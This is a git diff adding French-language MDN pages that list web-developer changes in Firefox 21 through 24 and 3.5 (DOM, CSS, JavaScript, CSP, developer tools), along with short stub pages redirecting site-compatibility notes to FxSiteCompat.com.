+ +

DOM

+ +
    +
  • La propriété origin a été ajoutée à {{domxref("window.location")}} ({{bug("828261")}}).
    • +
  • Les méthodes valueAsDate et valueAsNumber ont été ajoutées à <input type="time"> ({{bug("781570")}}).
    • +
  • Les attributs min et max sont maintenant aussi appliquées à <input type="time"> ({{bug("781572")}}).
    • +
  • De nouveaux keyCodes pour contrôler le volume sont supportées ({{bug("674739")}}).
    • +
  • De nouveaux keyCodes pour des anciennes disposition de touches de claviers tels que AS/400 sont maintenant supportées sur Windows et Linux ({{bug("833719")}}).
    • +
  • Différentes valeurs keyCode pour des touches OEM spécifiques sur Windows sont maintenant supportées ({{bug("833719")}}).
    • +
  • La fonction window.crypto.getRandomValues est maintenant implémentée ({{bug("440046")}}).
    • +
+ +

SVG

+ +
    +
  • La propriété {{cssxref("paint-order")}} a été implémentée ({{bug("828805")}}).
    • +
+ +

Networking

+ +
    +
  • Nous continuons à faire évoluer notre implémentation de CSP pour qu'elle corresponde à la spécification CSP 1.0, qui vient d'atteindre la statut de Candidate Recommendation : +
      +
    • Le support de l'entête HTTP Content-Security-Policy conformément à la spécification (en plus de l'entête expérimental X-Content-Security-Policy) a été ajouté ({{bug("783049")}}). Note : le patch pour ce nouvel entête est arrivé dans Firefox 21, mais il a été désactivé dans les compilations ({{bug("842657")}}).
      • +
    +
    • +
+ +

Worker

+ +
    +
  • Les fonctions {{domxref("window.URL.createObjectURL", "URL.createObjectURL")}} et {{domxref("window.URL.revokeObjectURL", "URL.revokeObjectURL")}} font maintenant partie des fonctions disponibles au workers.
    • +
+ +

Changement pour les add-ons et les développeurs Mozilla

+ +
    +
  • Les applications FUEL ne peuvent plus utiliser le service Livemarks ({{bug("834492")}}). Le service Livemarks est déprécié et mis en retrait en faveur de l'interface async.
    • +
  • resource:///modules/ et resource://gre/modules/ ne sont plus identiques ({{bug("755724")}}). Ce changement a eu lieu à cause du travail pour la version metro de Firefox. Si vous chargez des modules en utilisant resource:///modules/, vous devriez vérifier si vous ne préférez pas utiliser resource://gre/modules/ à la place. Notez que certains modules ont migrés de Firefox à Toolkit ({{bug("840287")}} et {{bug("811548")}} ont déplacé respectivement NewTabUtils.jsm et les modules thumbnail).
    • +
  • Le SDK Add-on est maintenant inclus dans Firefox ({{bug("731779")}})
    • +
  • L'API History a vu plusieurs API dépréciées, retirées : +
      +
    • Remplacées par mozIAsyncFavicons : +
        +
      • nsIFaviconService::setFaviconUrlForPage
        • +
      • nsIFaviconService::setFaviconData
        • +
      • nsIFaviconService::getFaviconData
        • +
      • nsIFaviconService::getFaviconForPage
        • +
      • nsIFaviconService::setAndLoadFaviconForPage
        • +
      • nsIFaviconService::getFaviconImageForPage
        • +
      • nsIFaviconService::getFaviconDataAsDataURL
        • +
      +
      • +
    • Remplacées par mozIAsyncLivemarks : +
        +
      • nsILivemarkService::*
        • +
      • PlacesUtils.itemIsLivemark
        • +
      • PlacesUtils.nodeIsLivemarkContainer
        • +
      • PlacesUtils.nodeIsLivemarkItem
        • +
      +
      • +
    • Retire seulement le 3e arguments : +
        +
      • PlacesUIUtils.showBookmarkDialog
        • +
      +
      • +
    • Plus implementé par Places, utilisez mozIAsyncHistory à la place : +
        +
      • nsIGlobalHistory2::addURI
        • +
      • nsIGlobalHistory2::isVisited
        • +
      • nsIGlobalHistory2::setPageTitle
        • +
      +
      • +
    • Plus nécessaire, utilisez onDeleteURI ou onItemRemoved: +
        +
      • nsINavHistoryObserver::OnBeforeDeleteURI
        • +
      • nsINavBookmarkObserver::OnBeforeItemRemoved
        • +
      +
      • +
    • Jamais implementé correctement : +
        +
      • nsINavHistoryFullVisitResultNode
        • +
      +
      • +
    • Déprécié, utilisez mozIAsyncHistory::updatePlaces à la place : +
        +
      • nsINavHistoryService::AddVisit
        • +
      +
      • +
    +
    • +
  • nsIHttpChannel.redirectTo a été ajouté pour permettre de rediriger les canaux HTTP sans faire des bidouilles fragiles.
    • +
+ +

Voir également

+ + + +

Anciennes versions

+ +
{{Firefox_for_developers('20')}}
diff --git a/files/fr/mozilla/firefox/releases/21/site_compatibility/index.html b/files/fr/mozilla/firefox/releases/21/site_compatibility/index.html new file mode 100644 index 0000000000..0baf393fc3 --- /dev/null +++ b/files/fr/mozilla/firefox/releases/21/site_compatibility/index.html @@ -0,0 +1,12 @@ +--- +title: Compatibilité des sites avec Firefox 21 +slug: Mozilla/Firefox/Versions/21/Site_compatibility +tags: + - Compatibilité + - Développement Web + - Firefox + - Firefox 21 + - FxSiteCompat +translation_of: Mozilla/Firefox/Releases/21/Site_compatibility +--- +
{{FirefoxSidebar}}

Cette page a été déplacée vers FxSiteCompat.com.

diff --git a/files/fr/mozilla/firefox/releases/22/index.html b/files/fr/mozilla/firefox/releases/22/index.html new file mode 100644 index 0000000000..d772c8108d --- /dev/null +++ b/files/fr/mozilla/firefox/releases/22/index.html @@ -0,0 +1,72 @@ +--- +title: Firefox 22 pour les développeurs +slug: Mozilla/Firefox/Versions/22 +translation_of: Mozilla/Firefox/Releases/22 +--- +
{{FirefoxSidebar}}

Vous voulez aider à documenter Firefox 22 ? Parcourez la liste des bugs qui ont besoin d'être documentés et lancez-vous !

+ +

Changements pour les développeurs Web

+ +

HTML

+ +
    +
  • L'élément HTML5 {{HTMLElement("data")}} a été implémenté ({{bug(839371)}}).
    • +
  • Le type range de l'élément {{HTMLElement("input")}} (<input type="range">) a été implémenté mais n'est seulement activé que dans les canaux Aurora et Nightly pour l'instant ({{bug(841948)}}).
    • +
+ +

JavaScript

+ +
    +
  • Les optimizations Asm.js sont activées, rendant possible la compilation d'applications C / C++ vers un sous-ensemble Javascript pour de meilleures performances.
    • +
  • La syntaxe ES6 Arrow Function a été implémentée ({{bug(846406)}}).
    • +
  • La nouvelle fonction Object.is a été ajoutée ({{bug(839979)}}).
    • +
+ +

DOM

+ +
    +
  • Support de la propriété multipart avec XMLHttpRequest. Les réponses multipart/x-mixed-replace dans XMLHttpRequest ont été supprimées. C'était une fonctionnalité uniquement supportée par Gecko et jamais standardisée. Il est possible d'utiliser Server-Sent Events et Web Sockets ou d'inspecter la propriété responseText des progress events à la place.
    • +
  • Le support des Web Notifications est activé par défaut. ({{bug(782211)}}).
    • +
  • La méthode {{domxref("XMLHttpRequest/FormData", "FormData")}}  append accepte maintenant un troisième paramètre optionnel filename ({{bug(690659)}}).
    • +
  • {{domxref("Node.isSupported")}} a été supprimé ({{bug(801562)}}).
    • +
  • {{domxref("Node.setUserData")}} et {{domxref("Node.getUserData")}} ont été supprimés pour le contenu web et dépréciés pour le contenu chrome ({{bug(842372)}})
    • +
  • Un backend Mac OS X pour {{domxref("DeviceLightEvent", "Ambient Light Events")}} a été implémenté.
    • +
  • Les éléments du namespace HTML avec les noms locaux "bgsound", "multicol", et "image" n'utilisent plus l'interface HTMLSpanElement.  "bgsound" et "multicol" utilisent HTMLUnknownElement et "image" utilise HTMLElement.
    • +
+ +

CSS

+ +
    +
  • Le support de CSS Flexbox layout a été activé par défaut ({{bug("841876")}}).
    • +
  • Le support de CSS Conditionals ({{cssxref("@supports")}} et {{domxref("CSS.supports")}}) ont été activés par défaut ({{bug("855455")}}).
    • +
+ +

Changements pour les développeurs Mozilla et développeurs d'add-on

+ +
    +
  • Le paramètre properties a été supprimé des méthodes {{ifmethod('nsITreeView','getCellProperties')}}, {{ifmethod('nsITreeView','getColumnProperties')}} et {{ifmethod('nsITreeView','getRowProperties')}} de l'interface {{interface('nsITreeView')}}. Ces méthodes retourneront maintenant un string de noms de propriétés séparées par des espaces. ({{bug('407956')}})
    • +
  • La méthode {{ifmethod('inIDOMUtils', 'getCSSPropertyNames')}} a été implémentée et retourne le nom de toutes les propriétés CSS supportées.
    • +
  • Voir tous les changements.
    • +
+ +

Outils pour développeurs de Firefox

+ +
    +
  • L'inspecteur de polices montre quelles polices sur votre ordinateur ont été appliquées sur cette page.
    • +
  • Le mode d'affichage de rendu visuel montre quand et où une page est re-rendue.
    • +
  • Les outils pour développeurs peuvent maintenant être affichés à droite d'une fenêtre et plus seulement en bas.
    • +
  • Certains onglets des outils pour développeurs sont passés de XUL à HTML. Par exemple, l'onglet présentant les règles css fait maintenant partie de chrome://browser/content/devtools/cssruleview.xhtml, et pas de  cssruleview.xul. Au lieu d'ajouter une couche pour ajouter des fonctionnalités directement sur ces onglets, vous pouvez ajouter une couche et la lier par script au document xul externe afin d'ajouter des écouteurs d'événements et de changer ces documents html.
    • +
  • L'affichage en pile est maintenant affiché en fil d'Ariane en haut de l'onglet et la liste des scripts est maintenant sur la gauche du débuggeur.
    • +
+ +

A voir aussi

+ + + +

Versions

+ +
{{Firefox_for_developers('21')}}
diff --git a/files/fr/mozilla/firefox/releases/22/site_compatibility/index.html b/files/fr/mozilla/firefox/releases/22/site_compatibility/index.html new file mode 100644 index 0000000000..d58f2a06c8 --- /dev/null +++ b/files/fr/mozilla/firefox/releases/22/site_compatibility/index.html @@ -0,0 +1,12 @@ +--- +title: Compatibilité des sites avec Firefox 22 +slug: Mozilla/Firefox/Versions/22/Site_compatibility +tags: + - Compatibilité + - Développement Web + - Firefox + - Firefox 22 + - FxSiteCompat +translation_of: Mozilla/Firefox/Releases/22/Site_compatibility +--- +
{{FirefoxSidebar}}

Cette page a été déplacée vers FxSiteCompat.com.

diff --git a/files/fr/mozilla/firefox/releases/23/index.html b/files/fr/mozilla/firefox/releases/23/index.html new file mode 100644 index 0000000000..6d9da9604c --- /dev/null +++ b/files/fr/mozilla/firefox/releases/23/index.html @@ -0,0 +1,85 @@ +--- +title: Firefox 23 pour les développeurs +slug: Mozilla/Firefox/Versions/23 +translation_of: Mozilla/Firefox/Releases/23 +--- +
{{FirefoxSidebar}}
Changements pour les développeurs Web
+ +

Sécurité

+ +
    +
  • Blocage des contenus mixte. Firefox ne charge plus les ressources non-sécurisées (http) sur une page sécurisée (https). ({{bug(834836)}})
    • +
  • La syntaxe standard de CSP 1.0 a été implémentée et appliquée par défaut.
    • +
+ +

Outils de développement

+ +
    +
  • Un panneau Réseau a été ajouté aux outils de développement. C'est une vue plus détaillée que la vue "Réseau" présente dans la console Web.
    • +
  • La console Web a été renommée en "Console", et inclus une option pour filtrer les erreurs/avertissement de sécruité.
    • +
  • Les nouvelles options des outils vous permettent de désactiver des fonctionnalités, de changer de thème (sombre ou clair), ou d'activer le débogage du Chrome.
    • +
+ +

HTML

+ +
    +
  • Le support de l'élément {{HTMLElement("blink")}} a désormais été abandonné. La balise <blink> fait désormais partie de l'interface {{domxref("HTMLUnknownElement")}} ({{bug(857820)}}.)
    • +
  • Le type range de l'élément {{HTMLElement("input")}} (<input type="range">) a été activé par défaut ({{bug(841950)}}).
    • +
+ +

JavaScript

+ +
    +
  • La méthode Object.defineProperty peut désormais être utilisée pour redéfinir la propriété length d'un objet Array.
    • +
  • L'option pour désactiver JavaScript, incluant les options pour permettre de déplacer une fenêtre/remplacer le menu contextuel, a été retirée. Vous pouvez toujours désactiver JavaScript en double-cliquant sur l'option "javascript.enabled" dans about:config.
    • +
+ +

DOM

+ +
    +
  • D3E KeyboardEvent.key est désormais supporté, mais seulement pour les éléments non-imprimables ({{bug(842927)}}).
    • +
  • L'attribut title de {{domxref("DOMImplementation.createHTMLDocument")}} est désormais optionnel, d'après la mise à jour de la spécification DOM.
    • +
  • La possibilité d'ajouter un panneau latéral (window.sidebar.addPanel) a été abandonnée ({{bug(691647)}}).
    • +
  • Les méthodes {{domxref("Window.requestAnimationFrame")}} et {{domxref("Window.cancelAnimationFrame")}} sans préfixe ont été ajoutées ({{bug(704063)}}).
    • +
  • Le rappel pour {{domxref("Window.requestAnimationFrame")}} reçoit désormais {{domxref("DOMHighResTimeStamp")}} comme argument à la place de {{domxref("DOMTimeStamp")}}, moins précis, qui est utilisé dans la version sans préfixe ({{bug(753453)}}).
    • +
  • L'argument text pour {{domxref("window.alert")}} et {{domxref("window.confirm")}} est désormais optionnel ({{bug(861605)}}).
    • +
  • La propriété {{domxref("HTMLMediaElement.initialTime")}}, retirée de la spécification, n'est plus supportée ({{bug(742537)}}).
    • +
  • Le constructeur {{domxref("AnimationEvent.AnimationEvent", "AnimationEvent()")}} a été ajoutée ({{bug(848293)}}).
    • +
  • La propriété {{domxref("AnimationEvent.pseudoElement")}} a été implémentée ({{bug(848293)}}).
    • +
  • Le constructeur {{domxref("TransitionEvent.TransitionEvent", "TransitionEvent()")}} a été ajoutée ({{bug(848291)}}).
    • +
  • La propriété {{domxref("TransitionEvent.pseudoElement")}} a été implémentée ({{bug(848291)}}).
    • +
  • {{domxref("TransitionEvent.initTransitionEvent()")}} et {{domxref("AnimationEvent.initAnimationEvent()")}} qui ne sont pas standardisées ont été retirées ({{bug(868751)}}).
    • +
+ +

CSS

+ +
    +
  • L'effet blink pour text-decoration: blink; n'a plus d'effet, mais c'est encore une valeur valide ({{bug(857820)}}).
    • +
  • Les pseudo-éléments {{cssxref("::after")}} et {{cssxref("::before")}} sont désormais des objets flexibles ({{bug(867454)}}).
    • +
  • La façon de calculer les unités viewport a été changée. en liaison avec overflow:auto, l'espace occupé par d'éventuelles barres de défilement n'est pas soustrait de la fenêtre, alors que dans le cas de overflow:scroll, ça l'est ({{bug(811403)}}).
    • +
+ +

MathML

+ +
    +
  • Les largeurs négatives pour l'élément {{MathMLElement("mspace")}} ont été implémentées ({{bug(717546)}}).
    • +
  • L'élément {{MathMLElement("semantics")}} détermine désormais l'enfant visible comme décrit dans la spécification MathML3.
    • +
+ +

Changements pour les développeurs Mozilla et développeurs d'add-on

+ +

Outils pour développeurs de Firefox

+ +

Les add-ons qui ont recourt à chrome://browser/content/debugger.xul doivent désormais utiliser chrome://browser/content/devtools/debugger.xul. Vous pouvez ajouter des références à ces deux fichiers dans chrome.manifest pour la compatibilité.

+ +

Voir aussi

+ + + +

Anciennes versions

+ +

{{Firefox_for_developers('22')}}

diff --git a/files/fr/mozilla/firefox/releases/23/site_compatibility/index.html b/files/fr/mozilla/firefox/releases/23/site_compatibility/index.html new file mode 100644 index 0000000000..ee40cc83d3 --- /dev/null +++ b/files/fr/mozilla/firefox/releases/23/site_compatibility/index.html @@ -0,0 +1,12 @@ +--- +title: Compatibilité des sites avec Firefox 23 +slug: Mozilla/Firefox/Versions/23/Site_compatibility +tags: + - Compatibilité + - Développement Web + - Firefox + - Firefox 23 + - FxSiteCompat +translation_of: Mozilla/Firefox/Releases/23/Site_compatibility +--- +
{{FirefoxSidebar}}

Cette page a été déplacée vers FxSiteCompat.com.

diff --git a/files/fr/mozilla/firefox/releases/24/index.html b/files/fr/mozilla/firefox/releases/24/index.html new file mode 100644 index 0000000000..7aa78478c5 --- /dev/null +++ b/files/fr/mozilla/firefox/releases/24/index.html @@ -0,0 +1,77 @@ +--- +title: Firefox 24 pour les développeurs +slug: Mozilla/Firefox/Versions/24 +translation_of: Mozilla/Firefox/Releases/24 +--- +
{{FirefoxSidebar}}

Changements pour les développeurs Web

+ +

CSS

+ +
    +
  • Les deux valeurs -moz-zoom-in et -moz-zoom-out de la propriété {{cssxref("cursor")}} ont été dépréfixés pour zoom-in et zoom-out ({{bug("772153")}}).
    • +
  • Pour correspondre à la spécification, les mots-clés not, only, and et or ne peuvent plus être utilisés comme un type de média ({{bug("757554")}}).
    • +
+ +

HTML

+ +
    +
  • L'élément {{HTMLElement("track")}} a été implémenté derrière la préférence media.webvtt.enabled ({{bug(833385)}}).
    • +
+ +

JavaScript

+ +
    +
  • Les fonctions fléchées ne sont plus automatiquement en mode strict sauf si c'est spécifié avec "use strict" ({{bug(852762)}}).
    • +
  • La méthode String.prototype.repeat a été implémentée ({{bug(815431)}}).
    • +
  • Les méthodes {{jsxref("Set.prototype.values()")}}, {{jsxref("Set.prototype.keys()")}} et {{jsxref("Set.prototype.entries()")}} de l'objet {{jsxref("Set")}} ont été implémentées ({{bug("869996")}}).
    • +
+ +

DOM

+ +
    +
  • Le support du constructeur {{domxref("Range.Range", "Range()")}} a été ajouté ({{bug(868999)}}).
    • +
  • Le support du constructeur {{domxref("Text.Text", "Text()")}} a été ajouté ({{bug(869000)}}).
    • +
  • Le support du constructeur {{domxref("Comment.Comment", "Comment()")}} a été ajouté ({{bug(869006)}}).
    • +
  • Le support du constructeur {{domxref("DocumentFragment.DocumentFragment", "DocumentFragment()")}} a été ajouté ({{bug(869002)}}).
    • +
  • L'interface {{domxref("FocusEvent")}} a été implémentée ({{bug(855741)}}).
    • +
  • Le support de la méthode {{domxref("ChildNode.remove()")}} a été ajoutée ({{bug(856629)}}).
    • +
  • Les interfaces liées à l'élémént {{HTMLElement("track")}}, {{domxref("HTMLTrackElement")}}, {{domxref("TextTrack")}}, {{domxref("TextTrackCue")}}, {{domxref("TextTrackList")}} et {{domxref("TextTrackCueList")}} ont été implémentées derrière la préférence media.webvtt.enabled, sur false par défaut ({{bug(833385)}}).
    • +
  • L'interface {{domxref("Gamepad")}} et la méthode {{domxref("Navigator.getGamepads")}} ont été implémentées derrière la préférence dom.gamepad.enabled, sur false par défaut ({{bug(690935)}}).
    • +
  • Sur Firefox Desktop seulement, HTMLCanvasElement.getContext() peut désormais prendre la valeur de webgl, en plus de experimental-webgl ({{bug(870232)}}).
    • +
  • La méthode non standard mozLoadFrom() de {{domxref("HTMLMediaElement")}} a été retirée ({{bug(877135)}}).
    • +
+ +

Outils de développement

+ +
    +
  • L'inspecteur Réseau vous permet désormais de filtrer par type de contenu (CSS/Images/Polices etc.) et de voir la taille et les temps de chargement par pertinence.
    • +
  • Le panneau d'options des Outils de développement vous permet de désactiver temporairement Javascript.
    • +
  • Les développeurs d'extensions peuvent utiliser la nouvelle Console Web pour les scripts au niveau du Chrome (Remplace la console d'erreur).
    • +
+ +

MathML

+ +
    +
  • L'attribut dir pour contrôler le sens de lecture des formules, par ex. sur les éléments {{MathMLElement("math")}} ou {{MathMLElement("mrow")}}, est désormais équivalent à l'utilisation de la propriété CSS {{cssxref("direction")}}.
    • +
  • Le signe égal ("=") est désormais extensible.
    • +
  • La valeur "updiagonalarrow" pour la notation de l'attribut notation sur l'élément {{MathMLElement("menclose")}} a été ajouté.
    • +
+ +

Changements pour les développeurs Mozilla et développeurs d'add-on

+ +
    +
  • DocShell a désormais l'attribut allowMedia pour désactiver la lecture des médias ({{bug(759964)}}).
    • +
  • Les plugins de recherche Sherlock dans le répertoire de l'application ou du profile, ne seront plus chargés ({{bug(862143)}}).
    • +
+ +

Voir aussi

+ + + +

Anciennes versions

+ +

{{Firefox_for_developers('23')}}

diff --git a/files/fr/mozilla/firefox/releases/24/site_compatibility/index.html b/files/fr/mozilla/firefox/releases/24/site_compatibility/index.html new file mode 100644 index 0000000000..7cacf2fae5 --- /dev/null +++ b/files/fr/mozilla/firefox/releases/24/site_compatibility/index.html @@ -0,0 +1,13 @@ +--- +title: Compatibilité des sites avec Firefox 24 +slug: Mozilla/Firefox/Versions/24/Site_compatibility +tags: + - Compatibilité + - Développement Web + - Firefox + - Firefox 24 + - FxSiteCompat + - Guide +translation_of: Mozilla/Firefox/Releases/24/Site_compatibility +--- +
{{FirefoxSidebar}}

Cette page a été déplacée vers FxSiteCompat.com.

diff --git a/files/fr/mozilla/firefox/releases/3.5/index.html b/files/fr/mozilla/firefox/releases/3.5/index.html new file mode 100644 index 0000000000..375c8488d7 --- /dev/null +++ b/files/fr/mozilla/firefox/releases/3.5/index.html @@ -0,0 +1,233 @@ +--- +title: Firefox 3.5 pour les développeurs +slug: Mozilla/Firefox/Versions/3.5 +tags: + - Firefox + - Firefox 3.5 +translation_of: Mozilla/Firefox/Releases/3.5 +--- +
{{FirefoxSidebar}}

Firefox 3.5 introduit un certain nombre de nouvelles fonctionnalités, ainsi qu'une gestion améliorée d'une grande variété de standards du Web. Cet article en fournit une longue liste, avec des liens vers des articles décrivant les améliorations majeures.

+ +

Nouvelles fonctionnalités pour les développeurs dans Firefox 3.5

+ +

Pour les développeurs de sites et d'applications web

+ +

HTML5

+ +
+
Utilisation d'audio et video dans Firefox
+
Firefox 3.5 ajoute la gestion des éléments HTML5 audio et video.
+
Ressources hors ligne dans Firefox
+
Firefox 3.5 gère entièrement la spécification de ressources hors ligne d'HTML5.
+
Glisser et déposer
+
L'API de glisser/déposer d'HTML5 permet de gérer le glisser/déposer d'éléments à l'intérieur et entre des sites web. Elle fournit également une API plus simple pour les extensions et applications basées sur Mozilla.
+
+ +

Nouvelles fonctionnalités CSS

+ +
+
Gestion des polices téléchargeables
+
La nouvelle règle-@ @font-face permet aux pages web de fournir des polices téléchargeables, afin qu'elles puissent être affichées exactement telles que l'auteur de la page les attend.
+
Media queries
+
Firefox 3.5 gère les requêtes de médias, qui améliorent le traitement des feuilles de style destinées à des médias particuliers.
+
Mise à jour de {{ cssxref(":before") }} et {{ cssxref(":after") }} pour CSS 2.1
+
Les pseudo-éléments :before et :after ont été mis à jour pour respecter complètement CSS 2.1, avec l'ajout des propriétés position, float et list-style-*, ainsi que de certaines valeurs de display.
+
Unité de longueur ch
+
L'unité ch peut à présent être utilisée à tout endroit où peut être indiquée une unité de longueur. 1ch est la largeur du caractère « 0 » (zéro).
+
{{ cssxref("opacity") }}
+
L'extension à CSS -moz-opacity de Mozilla a été supprimée en faveur de la propriété standard opacity.
+
{{ cssxref("text-shadow") }}
+
La propriété text-shadow, qui permet à du contenu web de spécifier des effets d'ombres sur le texte et les décorations de texte est à présent gérée.
+
{{ cssxref("word-wrap") }}
+
Cette nouvelle propriété permet au contenu d'indiquer si oui ou non les lignes de texte peuvent être coupées au milieu d'un mot afin d'empêcher un débordement lorsqu'une chaîne normalement insécable est trop longue pour rentrer dans une seule ligne.
+
Valeur pre-line pour la propriété white-space
+
La propriété {{ cssxref("white-space") }} accepte à présent la valeur pre-line.
+
{{ cssxref("-moz-box-shadow") }}
+
{{ cssxref("-moz-border-image") }}
+
{{ cssxref("-moz-column-rule") }}
+
{{ cssxref("-moz-column-rule-width") }}
+
{{ cssxref("-moz-column-rule-style") }}
+
{{ cssxref("-moz-column-rule-color") }}
+
La gestion de ces extensions à CSS de Mozilla a été ajoutée dans Firefox 3.5.
+
La {{ cssxref("valeur_de_couleur#Extensions_spécifiques_à_Mozilla","-moz-nativehyperlinktext") }}
+
Cette nouvelle valeur de couleur représente la couleur de lien hypertexte par défaut de l'utilisateur du système.
+
La nouvelle propriété {{ cssxref("-moz-window-shadow") }} et la pseudo-classe {{ cssxref(":-moz-system-metric(mac-graphite-theme)") }}
+
Ces nouvelles fonctionnalités CSS ont été ajoutées pour faciliter la mise en place de thèmes.
+
Nouvelles valeurs pour {{ cssxref("-moz-appearance") }}
+
Les valeurs -moz-win-glass et -moz-mac-unified-toolbar ont été ajoutées à -moz-appearance.
+
Utilisation des transformations CSS
+
Firefox 3.5 gère les transformations CSS. Consultez {{ cssxref("-moz-transform") }} et {{ cssxref("-moz-transform-origin") }} pour plus de détails.
+
{{ cssxref(":nth-child") }}
+
{{ cssxref(":nth-last-child") }}
+
{{ cssxref(":nth-of-type") }}
+
{{ cssxref(":nth-last-of-type") }}
+
{{ cssxref(":first-of-type") }}
+
{{ cssxref(":last-of-type") }}
+
{{ cssxref(":only-of-type") }}
+
Ces sélecteurs sont nouvellement gérés dans Firefox 3.5
+
+ +

Nouvelles fonctionnalités DOM

+ +
+
localStorage
+
Firefox 3.5 ajoute la gestion de la propriété localStorage pour le stockage web, fournissant ainsi une manière pour les applications web de stocker des données localement sur l'ordinateur du client.
+
Utilisation de workers DOM
+
Firefox 3.5 gère les workers DOM afin de permettre une gestion multithreadée dans les applications web.
+
Utilisation de la géolocalisation
+
Firefox 3.5 gère l'API Geolocation, qui permet aux applications web d'obtenir des informations concernant l'emplacement actuel de l'utilisateur si cette information est fournie et activée dans le système.
+
Identification d'éléments DOM à l'aide de sélecteurs
+
L'API Selectors permet d'interroger un document afin d'identifier les éléments correspondant à une règle de sélection donnée.
+
Évènements de mouvement de souris
+
Firefox 3.5 gère les évènements de mouvements de souris dont les glissades sur un trackpad.
+
L'objet NodeIterator
+
L'objet NodeIterator permet de parcourir la liste de nœuds dans un sous-arbre DOM.
+
L'évènement MozAfterPaint
+
Ce nouvel évènement DOM est envoyé après les mises à jour de l'affichage dans les fenêtres.
+
L'évènement MozMousePixelScroll
+
Ce nouvel évènement DOM permet de détecter les évènements de défilement à la souris par pixels plutôt que par ligne.
+
+ +

Nouvelles fonctionnalités JavaScript

+ +
+
Nouveautés dans JavaScript 1.8.1
+
Un aperçu de tous les changements dans JavaScript 1.8.1.
+
Object.getPrototypeOf()
+
Cette nouvelle méthode renvoie le prototype d'un objet spécifié.
+
Utilisation de JSON dans Firefox
+
La gestion de JSON est à présent intégrée dans le DOM.
+
Nouvelles méthodes de nettoyage des espaces sur l'objet String
+
L'objet String dispose à présent des méthodes trim(), trimLeft() et trimRight().
+
+ +

Réseau

+ +
+
Contrôle d'accès entre sites pour HTTP
+
Dans Firefox 3.5, il devient possible pour les requêtes HTTP, notamment celles faites au travers d'XMLHttpRequest, de fonctionne entre différents domaines si le serveur le permet.
+
Évènements de progression pour XMLHttpRequest
+
Des évènements de progression sont à présent émis pour permettre aux extensions de surveiller l'état des requêtes.
+
Amélioration des appels XMLHttpRequest synchrones
+
Les timeouts DOM et les évènements d'entrée sont à présent supprimés pendant un appel XMLHttpRequest synchrone.
+
Contrôle du préchargement DNS
+
Firefox 3.5 permet le préchargement DNS, par lequel il effectue la résolution des noms de domaines à l'avance pour les liens présents dans la page courante, afin de gagner du temps lorsque l'on clique effectivement sur ces liens. Cet article explique comment adapter votre site pour désactiver le préchargement, ou contrôler le comportement de ce préchargement.
+
+ +

Nouvelles fonctionnalités de Canvas

+ +
+
API HTML5 text pour les éléments canvas
+
Les éléments canvas gèrent à présent l'API texte d'HTML5.
+
Effets d'ombres dans un canvas
+
Les effets d'ombrages sont à présent gérés dans canvas.
+
createImageData()
+
La méthode createImageData() de canvas est à présent gérée, ce qui permet à du code de créer spécifiquement un objet ImageData plutôt que demander que ce soit fait automatiquement. Les performances d'autres méthodes d'ImageData peuvent en être améliorées puisqu'elles n'ont pas à créer l'objet.
+
Attribut moz-opaque
+
L'attribut DOM moz-opaque a été ajouté, ce qui permet à canvas de savoir si oui ou non la transparence devra être prise en compte. Si le canvas sait qu'il n'y a pas de transparence, les performances de dessin peuvent être optimisées.
+
+ +

Nouvelles fonctionnalités SVG

+ +
+
Application d'effets SVG à du contenu HTML
+
Vous pouvez à présent appliquer des effets SVG à du contenu HTML et XHTML ; cet article explique comment.
+
+ +

Autres nouvelles fonctionnalités

+ +
+
Correction de couleurs ICC dans Firefox
+
Firefox 3.5 gère à présent la correction de couleurs ICC pour les images balisées.
+
L'attribut defer est géré sur les éléments script
+
Cet attribut indique au navigateur qu'il peut décider de continuer d'analyser et d'afficher la page sans attendre que le script ait terminé son exécution.
+
+ +

Autres améliorations

+ +
    +
  • La propriété wholeText et la méthode replaceWholeText() ont été ajoutées aux nœuds texte.
    • +
  • La propriété element.children a été ajoutée. Elle renvoie une collection d'éléments enfants de l'élément donné.
    • +
  • L'API Element Traversal est à présent gérée par l'objet DOM Element.
    • +
  • Les nœuds HTML document peuvent à présent être clonés à l'aide de cloneNode().
    • +
  • La méthode DOM non-standard getBoxObjectFor() a été supprimée. Utilisez plutôt getBoundingClientRect().
    • +
  • Les éléments DOM dispatchés peuvent être redispatchés. Ceci permet à Firefox 3.5 de passer le test 30 d'Acid 3.
    • +
  • Des améliorations ont été apportés à la gestion de DOM 2 Range.
    • +
  • Dans un contexte non-chrome, les objets catchés dans les exceptions sont à présent les objets rejetés tels quels plutôt qu'une enveloppe XPConnect contenant ces objets.
    • +
  • Les références ID dans SVG sont à présent directes.
    • +
  • Les filtres SVG fonctionnent à présent avec foreignObject.
    • +
  • La méthode GetSVGDocument() a été ajoutée aux éléments object et iframe pour assurer une meilleure compatibilité.
    • +
  • La définition implicite de propriétés dans des initialiseurs d'objets et de tableaux n'exécute plus les mutateurs en JavaScript. Consultez le billet Object and array initializers should not invoke setters when evaluated pour plus de détails.
    • +
  • La variable gDownloadLastDir.path a été renommée en gDownloadLastDir.file étant donné qu'elle fait référence à un objet {{ interface("nsIFile") }} et non à un chemin.
    • +
  • La variable gDownloadLastDirPath a été renommée en gDownloadLastDirFile étant donné qu'elle fait référence à un objet {{ interface("nsIFile") }} et non à un chemin.
    • +
  • À partir de Firefox 3.5, il devient impossible d'utiliser des liaisons data: dans les paquets chrome qui bénéficient de l'automatisation XPCNativeWrapper.
    • +
+ +

Pour les développeurs XUL et développeurs d'applications

+ +

Si vous développez des extensions, vous devriez tout d'abord lire Mise à jour des extensions pour Firefox 3.5 qui fournit un aperçu pratique des changements qui pourraient affecter vos extensions.

+ +

Nouveaux composants et nouvelles fonctionnalités

+ +
+
Gestion du mode de navigation privée
+
Firefox 3.5 offre un mode de navigation privée, qui n'enregistre pas les activités de l'utilisateur. Les extensions peuvent gérer la navigation privée en suivant les conseils donnés dans cet article.
+
Changements liés à la sécurité dans Firefox 3.5
+
Cet article détaille les changements liés à la sécurité dans Firefox 3.5.
+
Changements dans les thèmes pour Firefox 3.5
+
Cet article détaille les changements liés aux thèmes dans Firefox 3.5.
+
Surveillance des points d'accès WiFi
+
Le code disposant des privilèges UniversalXPConnect peut à présent surveiller la liste des points d'accès disponibles, et obtenir des informations concernant leurs SSID, adresses MAC et force du signal. Ceci peut être utilisé couplé avec la géolocalisaiton pour fournir des services locaux basés sur la présence d'un WiFi.
+
+ +

Changements et améliorations notables

+ +
    +
  • Le widget XUL textbox offre à présent un type search, pour être utilisé en tant que champ de recherche.
    • +
  • Afin de gérer le glisser et déposer d'onglets entre les fenêtres, le widget browser dispose à présent d'une méthode swapDocShells().
    • +
